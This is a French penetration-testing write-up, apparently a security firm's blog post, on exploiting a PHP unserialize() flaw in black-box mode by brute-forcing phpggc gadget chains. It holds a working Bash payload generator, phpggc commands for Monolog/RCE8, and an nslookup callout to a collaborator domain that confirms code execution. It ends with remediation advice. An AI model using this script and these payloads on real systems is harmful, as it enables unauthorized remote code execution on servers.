Les vulnérabilités liées à la désérialisation sont souvent difficiles à exploiter. Dans la plupart des cas, il faut accéder au code source pour identifier les classes disponibles ou les bibliothèques utilisées. Cela permet de choisir une « gadget chain » adaptée ou d’en construire une nouvelle.
Cependant, l’accès au code source n’est pas toujours possible. Il demande généralement des privilèges élevés, ou l’exploitation préalable d’une autre faille.
Dans cet article, nous présentons un cas concret d’exploitation réalisé lors d’un audit. Une vulnérabilité de désérialisation PHP a été repérée, puis exploitée en boite noire. L’approche choisie : un brute force de payloads de « gadget chain ». Cette méthode a permis d’exécuter des commandes sur le serveur ciblé.
Le principe utilisé ici peut s’appliquer à d’autres langages, comme Java ou C#. Seuls les outils varient. Pour tirer pleinement profit de cette lecture, il est recommandé d’avoir des connaissances de base sur les vulnérabilités de désérialisation. Une maîtrise de l’outil Burp Suite est également un atout.
Identification de la vulnérabilité
Ici, la vulnérabilité a été facile à repérer. En testant les différentes fonctionnalités de l’application web, nous avons constaté que plusieurs d’entre elles transmettaient une valeur encodée en base64.
Voici un exemple de requête :
POST /data/task.php HTTP/2
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 258
datas=YToyOntzOjQ6ImNhbGwiO3M6MTE6InRyYWNrT3B0aW9uIjtzOjY6InN0YXR1cyI7YjowO30%3D
Et la réponse du serveur :
HTTP/2 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json
Content-Length: 11
{"state":1}
Une fois la valeur décodée depuis base64, on obtient un objet sérialisé :
a:2:{s:4:"call";s:11:"trackOption";s:6:"status";b:0;}
Le préfixe a
indique qu’il s’agit d’un tableau associatif contenant deux paires clé-valeur. On y trouve une clé call
associée à la valeur trackOption
, ainsi qu’une clé status
dont la valeur est un booléen à false
.
Ce format correspond typiquement à une donnée générée par la fonction serialize()
de PHP.
Lorsqu’un objet sérialisé est transmis par l’utilisateur, il est très probable que le serveur utilise la fonction unserialize()
pour l’interpréter. Cela suggère l’existence d’une désérialisation côté serveur, ce qui représente une surface d’attaque potentielle.
Il reste maintenant à comprendre comment exploiter cette faille sans connaître les bibliothèques ou classes disponibles sur le serveur.
Exploitation de la vulnérabilité de désérialisation
Après avoir identifié un objet sérialisé transmis par l’application, l’objectif est de déterminer si cette faille peut être exploitée pour obtenir une exécution de commande à distance (RCE). Sans accès au code source, il était impossible de connaître les classes disponibles côté serveur, ce qui compliquait l’élaboration d’un exploit ciblé.
L’approche retenue a été de tester des « gadget chains » connues à l’aide de l’outil phpggc, qui recense de nombreuses chaînes d’objets PHP vulnérables.
Comme il était irréaliste de tester les chaînes au hasard, une stratégie de brute force a été mise en place. Elle consistait à générer des payloads pour chaque chaîne RCE, puis à les tester systématiquement via le paramètre datas
de la requête HTTP.
Un script Bash a été adapté à partir d’un gist public pour générer automatiquement des payloads phpggc valides :
#!/bin/bash
function="system"
command="nslookup whatever.vaadatacollaborator.com"
options="-a -b -u -f"
phpggc -l | grep RCE | cut -d' ' -f1 | xargs -L 1 phpggc -i | grep 'phpggc ' --line-buffered |
while read line; do
gadget=$(echo $line | cut -d' ' -f2)
if echo $line | grep -q "<function> <parameter>"; then
phpggc $options $gadget "$function" "$command"
elif echo $line | grep -q "<code>"; then
phpggc $options $gadget "$function('$command');"
elif echo $line | grep -q "<command>"; then
phpggc $options $gadget "$command"
else
phpggc $options $gadget
fi
done
La commande injectée (nslookup
) visait un serveur contrôlé par Vaadata. Elle permettait de détecter l’exécution effective du payload via une requête DNS.
Détail des options utilisées :
-a
: encode les chaînes ASCII avec leur représentation hexadécimale.-b
: encode le payload en base64.-u
: applique un URL encoding.-f
: force la destruction de l’objet après désérialisation.
Brute force avec Burp Suite
Les payloads générés ont été insérés dans un dictionnaire. Grâce à l’intruder de Burp Suite, chaque payload a été testé automatiquement en remplaçant la valeur du paramètre datas
.
L’analyse des requêtes a permis d’identifier un payload ayant provoqué une réponse différente du serveur. Ce dernier indiquait que la chaîne Monolog/RCE8 fonctionnait. Cela confirmait que la bibliothèque Monolog était bien utilisée sur la plateforme.
Commandes utilisées
Payload fonctionnel :
phpggc -a -b -u -f Monolog/RCE8 'system' 'nslookup whatever.vaadatacollaborator.fr'
Exécution d’une commande :
phpggc -a -b -u -f Monolog/RCE8 'system' 'whoami /all'
Extrait de la requête HTTP :
POST /data/task.php HTTP/2
Host: [REDACTED]
Cookie: [REDACTED]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
datas=YToyOntpOjc7TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7...
Réponse contenant les informations de l’utilisateur système :
Nom d'utilisateur SID
================== ===============================================================
iis [REDACTED]
...
L’exécution de la commande confirme l’exploitation réussie de la faille.
Vérification côté serveur
Une fois le code source récupéré, la désérialisation a été confirmée dans le code PHP :
$datas = unserialize(base64_decode((string) Call_getter::getOption('datas')));
Et si aucune « Gadget Chain » n’avait fonctionné ?
Dans un scénario où aucune chaîne connue ne permet d’exploiter la faille, la situation devient plus complexe. Sans code source, il faut identifier les classes présentes côté serveur pour construire manuellement une chaîne d’exécution.
La meilleure stratégie est alors de rechercher une faille permettant de lire des fichiers sur le serveur, afin de récupérer le code source et les dépendances.
Pour les désérialisations Java, l’outil GadgetProbe permet de tester des noms de classes et de détecter les librairies installées. Il fonctionne en générant des payloads qui déclenchent une interaction DNS si la classe est bien chargée.
Cet outil est également disponible dans le BApp Store de Burp Suite. Après identification des librairies, on peut récupérer les fichiers JAR publics associés, puis utiliser GadgetInspector pour détecter des chaînes exploitables.
Pour approfondir, vous pouvez consulter l’article complet sur GadgetProbe.
Recommandations de remédiation
De manière générale, il est préférable d’éviter de transmettre des données sous forme sérialisée, surtout lorsqu’elles peuvent être contrôlées par l’utilisateur.
Dans le cas étudié, la première mesure consiste à passer en revue l’ensemble du code afin d’identifier les appels à la fonction unserialize()
. Aucun paramètre issu de l’utilisateur ne doit être directement transmis à cette fonction. Si possible, il est même conseillé de ne plus l’utiliser du tout.
Si l’usage d’objets sérialisés est réellement nécessaire dans les paramètres d’une requête, il est impératif d’encadrer leur traitement. Cela passe par l’utilisation de bibliothèques sécurisées, comme le composant Serializer de Symfony, qui n’autorise pas le chargement arbitraire de classes.
Une autre alternative plus sûre consiste à remplacer la sérialisation PHP par un format comme le JSON, mieux encadré et moins exposé aux risques liés à la désérialisation.
Auteur : Yoan MONTOYA – Pentester @Vaadata